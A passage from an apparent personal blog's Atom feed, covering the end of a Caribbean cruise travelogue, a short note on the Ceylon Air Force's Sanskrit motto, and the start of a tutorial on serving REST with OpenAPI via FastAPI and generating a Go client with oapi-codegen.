<h2 id="tortola-british-virgin-islands---port-of-call-7">Tortola, British Virgin Islands - port of call 7</h2>
<p>The ship docks at 6 AM and leaves at 1 PM. And in this short window, I wanted to visit Virgin Goda and do   
    
    
<a href="https://www.bvinpt.org/the-baths?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Baths National Park</a>.
Be warned that compared to 
<a href="/tag/national-park/">national parks</a> of the American southwest, Bath National Park is underwhelming.</p>
<p>I took $20   
    
    
<a href="https://www.roadtownfastferry.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">RoadTown Fast Ferry</a> that left at 7:15 AM from Tortola to Anegada via Virgin Gorda.
From Virgin Goda ferry terminal, I hitchhiked to Bath&rsquo;s National Park.
One advantage of taking the early ferry is that I reached 8:05 AM without any tourists, and
even the ticketing office wasn&rsquo;t open at that time. While others arrived at 8:45 AM,
I finished my trip to Bath National Park by 9:45 AM and took a $20   
    
    
<a href="https://www.bviferries.com/speedys-bvi-ferry-schedule?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">early ferry</a> back at 10:00 AM to Tortola.
A round-trip ferry with the same ferry company (including transport to Bath) is $40, so one ends up paying only
slightly more for a much better travel experience.</p>
<figure>
    
    <a href="ncl-bvi-1.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="ncl-bvi-1.jpg"
         alt="British Virgin Islands" width="905"/> </a>
</figure>

<figure>
    
    <a href="ncl-bvi-2.jpeg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="ncl-bvi-2.jpeg"
         alt="British Virgin Islands" width="905"/> </a>
</figure>

<figure>
    
    <a href="ncl-bvi-3.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="ncl-bvi-3.jpg"
         alt="British Virgin Islands" width="905"/> </a>
</figure>

<figure>
    
    <a href="ncl-bvi-4.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="ncl-bvi-4.jpg"
         alt="British Virgin Islands" width="905"/> </a>
</figure>

<figure>
    
    <a href="ncl-bvi-5.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="ncl-bvi-5.jpg"
         alt="British Virgin Islands" width="905"/> </a>
</figure>

<h2 id="great-stirrup-cay-bahamas---port-of-call-8">Great Stirrup Cay, Bahamas - port of call 8</h2>
<p>Norwegian Cruise Line&rsquo;s private island in the Bahamas felt similar to how it was 7 years back.</p>
<p>We felt nostalgia for sure.</p>
<figure>
    
    <a href="ncl-great-stirrup-cay-1.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="ncl-great-stirrup-cay-1.jpg"
         alt="British Virgin Islands" width="905"/> </a>
</figure>

<figure>
    
    <a href="ncl-great-stirrup-cay-2.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="ncl-great-stirrup-cay-2.jpg"
         alt="British Virgin Islands" width="905"/> </a>
</figure>

<h2 id="on-ship-entertainment">On ship entertainment</h2>
<ul>
<li>The Mentalist show is awesome</li>
<li>Comedy shows were underwhelming</li>
<li>Ropes experience was similar to Norwegian Breakaway</li>
</ul>
<figure>
    
    <a href="ncl-boat-entertainment-1.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="ncl-boat-entertainment-1.jpg"
         alt="Norwegian Breakaway" width="905"/> </a>
</figure>

<figure>
    
    <a href="ncl-boat-entertainment-2.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="ncl-boat-entertainment-2.jpg"
         alt="Norwegian Breakaway" width="905"/> </a>
</figure>

<figure>
    
    <a href="ncl-boat-entertainment-3.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="ncl-boat-entertainment-3.jpg"
         alt="Norwegian Breakaway" width="905"/> </a>
</figure>

<h2 id="note">Note</h2>
<ul>
<li>We used a Maya Mobile 
<a href="/travel/sim">SIM card</a>, and that covered us even on Great Stirrup Cay, Bahamas.</li>
</ul>
<h3 id="shrinkflation">Shrinkflation</h3>
<ul>
<li>The effect of shrinkflation was palpable. In 2017, during our 
<a href="/travel/escaping-into-caribbean-with-norwegian-escape-cruise/">first cruise</a> with Norwegian Cruise Line, we got free spa access with a Balcony suite. That&rsquo;s no longer the case.   
    
    
<a href="https://www.reddit.com/r/NCL/comments/170i19i/ncl_eliminating_spa_staterooms_and_suites/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Everyone</a> has to buy the spa access explicitly now.</li>
<li>Another effect of shrinkflation is Tap water. 7 years back, it was fine to drink it. Now, they recommend not to do it. And you can see a long line of passengers on the top deck at night, filling water bottles. I recommend carrying a 
<a href="/travel/first-time-cruisers/">hydration pack</a>.</li>
<li>The buffet no longer runs 24 hours. It closes at 10 PM. So, if you are a vegetarian/vegan, you are out of luck till the next morning.</li>
</ul>
]]></content><category scheme="https://ashishb.net/category/travel" term="travel" label="travel"/><category scheme="https://ashishb.net/tag/caribbean" term="caribbean" label="caribbean"/><category scheme="https://ashishb.net/tag/cruise" term="cruise" label="cruise"/></entry><entry><title type="html">Sanskrit and Sri Lankan Air Force</title><link href="https://ashishb.net/short-stories/ceylon-air-force-sanskrit/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/sri-lanka/?utm_source=atom_feed" rel="related" type="text/html" title="Sri Lanka in 5 days"/><link href="https://ashishb.net/short-stories/sri-lanka-juice-stall/?utm_source=atom_feed" rel="related" type="text/html" title="At a juice stall in Sri Lanka"/><link href="https://ashishb.net/travel/air-india/?utm_source=atom_feed" rel="related" type="text/html" title="A surprisingly positive experience with Air India"/><link href="https://ashishb.net/short-stories/in-a-remote-village-in-thailand/?utm_source=atom_feed" rel="related" type="text/html" title="In a remote village in Thailand..."/><link href="https://ashishb.net/travel/hiking-mt-fuji/?utm_source=atom_feed" rel="related" type="text/html" title="Hiking Mt. Fuji"/><id>https://ashishb.net/short-stories/ceylon-air-force-sanskrit/</id><author><name>Ashish Bhatia</name></author><published>2025-11-22T16:00:46+00:00</published><updated>2025-11-22T16:00:46+00:00</updated><content type="html"><![CDATA[<blockquote>The motto of Cyelon Air Force was &ldquo;Per Ardua Ad Astra&rdquo;, written in Sanskrit</blockquote><p>While traveling in 
<a href="/travel/london/">London</a>, I came across the church of St. Clement Danes,
which is the church of the Royal Air Force.</p>
<p>It referenced the history of the Royal Air Force during the period of British colonialism.
During the British rule, 
<a href="/travel/sri-lanka/">Sri Lanka</a> was known as Ceylon.</p>
<p>What stood out to me was that the Ceylon Air Force had a motto in Sanskrit, &ldquo;यत्नतस्तारका यावत्&rdquo;, which
likely refers to the Latin phrase &ldquo;Per Ardua Ad Astra&rdquo;.</p>
<p>The English translation of this famous Latin phrase would be &ldquo;Through Adversity to the Stars&rdquo;.</p>
]]></content><category scheme="https://ashishb.net/category/short-stories" term="short-stories" label="short-stories"/><category scheme="https://ashishb.net/tag/asia" term="asia" label="asia"/><category scheme="https://ashishb.net/tag/sri-lanka" term="sri-lanka" label="sri-lanka"/><category scheme="https://ashishb.net/tag/uk" term="uk" label="uk"/></entry><entry><title type="html">Use REST with Open API</title><link href="https://ashishb.net/programming/openapi/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/using-python-uv-inside-docker/?utm_source=atom_feed" rel="related" type="text/html" title="Best practices for using Python &amp; uv inside Docker"/><link href="https://ashishb.net/programming/intellij-wasting-disk-space/?utm_source=atom_feed" rel="related" type="text/html" title="How IntelliJ IDEs waste disk space"/><link href="https://ashishb.net/programming/run-tools-inside-docker/?utm_source=atom_feed" rel="related" type="text/html" title="To keep your machine secure, run third-party tools inside Docker"/><link href="https://ashishb.net/programming/tools-standalone-binaries/?utm_source=atom_feed" rel="related" type="text/html" title="Ship tools as standalone static binaries"/><link href="https://ashishb.net/programming/maintaining-android-app/?utm_source=atom_feed" rel="related" type="text/html" title="Maintaining an Android app is a lot of work"/><id>https://ashishb.net/programming/openapi/</id><author><name>Ashish Bhatia</name></author><published>2025-11-15T08:00:49+00:00</published><updated>2025-11-15T08:00:49+00:00</updated><content type="html"><![CDATA[<blockquote>Discover why REST remains practical despite the GraphQL hype, and learn how to seamlessly use Open API specs with FastAPI for efficient backend implementation.</blockquote><p>For a while, the whole world was trying to move over from REST to GraphQL.
Frontend developers loved it because they could get exactly what they wanted.
However, implementing a backend for it is a lot of work.
So, when I saw a blog post   
    
    
<a href="https://bessey.dev/blog/2024/05/24/why-im-over-graphql/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">criticizing</a> GraphQL, it resonated with me.</p>
<p>REST is simple and easy to use.
However, maintaining the REST schema is always involved.</p>
<p>Here&rsquo;s where the Open API specification comes in.
It adds a layer of objects to define the RESTful API.</p>
<p>For internal usage, I think you should start with a server first.</p>
<p>Let&rsquo;s consider a simple example in Python.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Python
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">12
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">13
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">14
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">15
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">16
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">17
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">18
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#586e75"># Save the file below as simple_web_server.py</span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">import</span> dataclasses
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">from</span> typing <span style="color:#719e07">import</span> Union
</span></span><span style="display:flex;"><span><span style="color:#719e07">from</span> fastapi <span style="color:#719e07">import</span> FastAPI
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>app <span style="color:#719e07">=</span> FastAPI()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">@dataclasses.dataclass</span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">class</span> <span style="color:#268bd2">Response</span>:
</span></span><span style="display:flex;"><span>  number: <span style="color:#b58900">int</span>
</span></span><span style="display:flex;"><span>  square: <span style="color:#b58900">int</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">@app.get</span>(<span style="color:#2aa198">&#34;/square/</span><span style="color:#2aa198">{number}</span><span style="color:#2aa198">&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#719e07">def</span> <span style="color:#268bd2">read_item</span>(number: <span style="color:#b58900">int</span>) <span style="color:#719e07">-&gt;</span> Response:
</span></span><span style="display:flex;"><span>    <span style="color:#719e07">return</span> Response(number<span style="color:#719e07">=</span>number, square<span style="color:#719e07">=</span>number <span style="color:#719e07">*</span> number)</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>Run the file with <code>python -m fastapi dev simple_web_server.py</code> and then see the specification at   
    
    
<a href="http://127.0.0.1:8000/openapi.json?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">http://127.0.0.1:8000/openapi.json</a>.
You can also see the documentation at   
    
    
<a href="http://127.0.0.1:8000/docs?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">http://127.0.0.1:8000/docs</a>.</p>
<p>One can use an online service like   
    
    
<a href="https://readme.io?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">readme.io</a> to generate documentation from the specification.
Or one can use the API specification to generate the client code.</p>
<p>Let&rsquo;s say you want to generate the Go client code.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ go get github.com/oapi-codegen/oapi-codegen/v2/cmd/oapi-codegen
</span></span><span style="display:flex;"><span>$ go run github.com/oapi-codegen/oapi-codegen/v2/cmd/oapi-codegen -generate types,client,spec -o web_server_client.gen.go -package main http://127.0.0.1:8000/openapi.json
</span></span><span style="display:flex;"><span>...</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>You can then use the client code to make the API calls.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Go
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">12
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">13
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">14
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">15
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">16
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">17
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">18
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">19
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">20
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">21
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">22
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">23
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">24
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">25
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">26
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">27
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">28
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">29
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">30
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">31
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#719e07">package</span> main
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">import</span> (
</span></span><span style="display:flex;"><span>	<span style="color:#2aa198">&#34;context&#34;</span>
</span></span><span style="display:flex;"><span>	<span style="color:#2aa198">&#34;fmt&#34;</span>
</span></span><span style="display:flex;"><span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#586e75">// go mod init example &amp;&amp; go mod tidy  # One time</span>
</span></span><span style="display:flex;"><span><span style="color:#586e75">// go run go_client.go web_server_client.gen.go  # To run this</span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">func</span> <span style="color:#268bd2">main</span>() {
</span></span><span style="display:flex;"><span>	num <span style="color:#719e07">:=</span> <span style="color:#2aa198">10</span>
</span></span><span style="display:flex;"><span>	sq, err <span style="color:#719e07">:=</span> <span style="color:#268bd2">getSquare</span>(context.<span style="color:#268bd2">Background</span>(), num)
</span></span><span style="display:flex;"><span>	<span style="color:#719e07">if</span> err <span style="color:#719e07">!=</span> <span style="color:#cb4b16">nil</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#b58900">panic</span>(err)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	fmt.<span style="color:#268bd2">Printf</span>(<span style="color:#2aa198">&#34;Square of %d is %d\n&#34;</span>, num, <span style="color:#719e07">*</span>sq)
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">func</span> <span style="color:#268bd2">getSquare</span>(ctx context.Context, num <span style="color:#dc322f">int</span>) (<span style="color:#719e07">*</span><span style="color:#dc322f">int</span>, <span style="color:#dc322f">error</span>) {
</span></span><span style="display:flex;"><span>	apiClient, err <span style="color:#719e07">:=</span> <span style="color:#268bd2">NewClientWithResponses</span>(<span style="color:#2aa198">&#34;http://127.0.0.1:8000&#34;</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#719e07">if</span> err <span style="color:#719e07">!=</span> <span style="color:#cb4b16">nil</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#719e07">return</span> <span style="color:#cb4b16">nil</span>, err
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	resp, err <span style="color:#719e07">:=</span> apiClient.<span style="color:#268bd2">ReadItemSquareNumberGetWithResponse</span>(ctx, num)
</span></span><span style="display:flex;"><span>	<span style="color:#719e07">if</span> err <span style="color:#719e07">!=</span> <span style="color:#cb4b16">nil</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#719e07">return</span> <span style="color:#cb4b16">nil</span>, err
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#719e07">return</span> <span style="color:#719e07">&amp;</span>resp.JSON200.Square, <span style="color:#cb4b16">nil</span>
</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><h2 id="commit-open-api-specification-to-version-control">Commit Open API specification to version control</h2>
<p>I would highly recommend against committing the generated code to a

<a href="/tech/when-to-commit-generated-code-to-version-control/">version control</a> though.</p>
<p>This way, you can add a   
    
    
